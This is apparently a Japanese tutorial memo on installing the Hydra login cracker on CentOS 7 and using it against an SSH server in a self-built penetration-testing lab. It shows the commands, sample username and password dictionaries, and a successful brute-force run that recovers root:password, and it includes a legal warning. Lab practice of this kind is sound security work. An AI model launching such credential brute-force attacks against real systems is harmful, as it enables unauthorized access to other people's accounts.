目的
ペネトレーションテスト環境を構築する際に検証ツールの一つとして使い方などの備忘録。
※Centos8からは、パッケージ管理もyumから変更されたので気をつけてください
※また、自分の作成した環境以外への使用は犯罪行為になるため行わないでください。
環境
| OS | 7.6 |
|:-:|:-:|:-:|
| epel | 7.11 |
| Hydra | 8.2 |
インストール
やることは、以下の2つ
- サードパーティリポジトリのepelのインストール
- Hydraのインストール
サードパーティリポジトリのepelのインストール
pkgs.orgを参照してみると下記のように現在は、epelをインストールすればHydraもepelの管理リポジトリからインストールできるようです。
epelのインストールは下記のコマンドで行います。
$ yum install -y epel-release
Hydraのインストール
epelのインストール後、Hydraがインストールできるか確認します。
$ yum search hydra
・
・
・
================================================================================ N/S matched: hydra =================================================================================
hydra-frontend.x86_64 : The GTK+ front end for hydra
php-ocramius-generated-hydrator.noarch : An object hydrator
dehydrated.noarch : A client for signing certificates with an ACME server
hydra.x86_64 : Very fast network log-on cracker
上記のようにインストール可能なパッケージにHydraがあれば大丈夫です。
インストールは、yum install
でインストールできます。
$ yum install -y hydra
or
$ yum --enablerepo=epel install hydra
確認
インストールできたか確認を行う場合は、下記のコマンドで行えます。
$ which hydra
/usr/bin/hydra
or
$ hydra
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
Example: hydra -l user -P passlist.txt ftp://xx.xx.x.x
Hydraにはバージョンを表示する-v
に該当するオプションがなく、Hydraと入力すればバージョンが表示されるようです。
使い方
Hydraは、プロトコル指定もできるため、ssh
やhttp
に対しても攻撃を行うことができます。
hydra -L [ユーザ名辞書ファイル] -P [パスワード辞書ファイル] [プロコトル]://[対象サーバ名/対象サーバIPアドレス]
Example: hydra -L userlist.txt -P passlist.txt ssh://xxx.xx.x.xxx
オプションの-l
や-p
を指定すると、ファイル参照ではなく、記述したユーザ名とパスワードで攻撃を行います。
| オプション | 意味 |
|:-:|:-:|:-:|
| -l | ユーザ名 |
| -L | ユーザ辞書ファイル |
| -p | パスワード |
| -P | パスワード辞書ファイル |
被攻撃環境
| OS | 7.3 |
|:-:|:-:|:-:|
手順
- パスワードリスト取得or作成
- 攻撃検証
- ログの確認
パスワードリストの取得or作成
辞書ファイルは、ネットで公開されているものかまたは、簡単なものであればテキストとして作成します。
$ cat userlist.txt
aaa
bbb
ccc
ddd
root ← 対象のユーザ
admin
test
$ cat passlist.txt
aaa
bbb
ccc
ddd
password ← 対象のパスワード
admin
test
攻撃検証
# hydra -L userlist.txt -P passlist.txt ssh://xxx.xxx.xxx.xxx
Hydra v8.2-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2019-12-01 03:46:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: xxx.xxx.xxx.xxx login: root password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-12-01 03:46:41
ログの確認
Hydraによるアクセスログは被攻撃環境上の/var/log/secure
で確認することができます。
Hydraの基本的な使い方については以上になります。
もっとうまい使い方などあると思うのでそれぞれ試してみてください。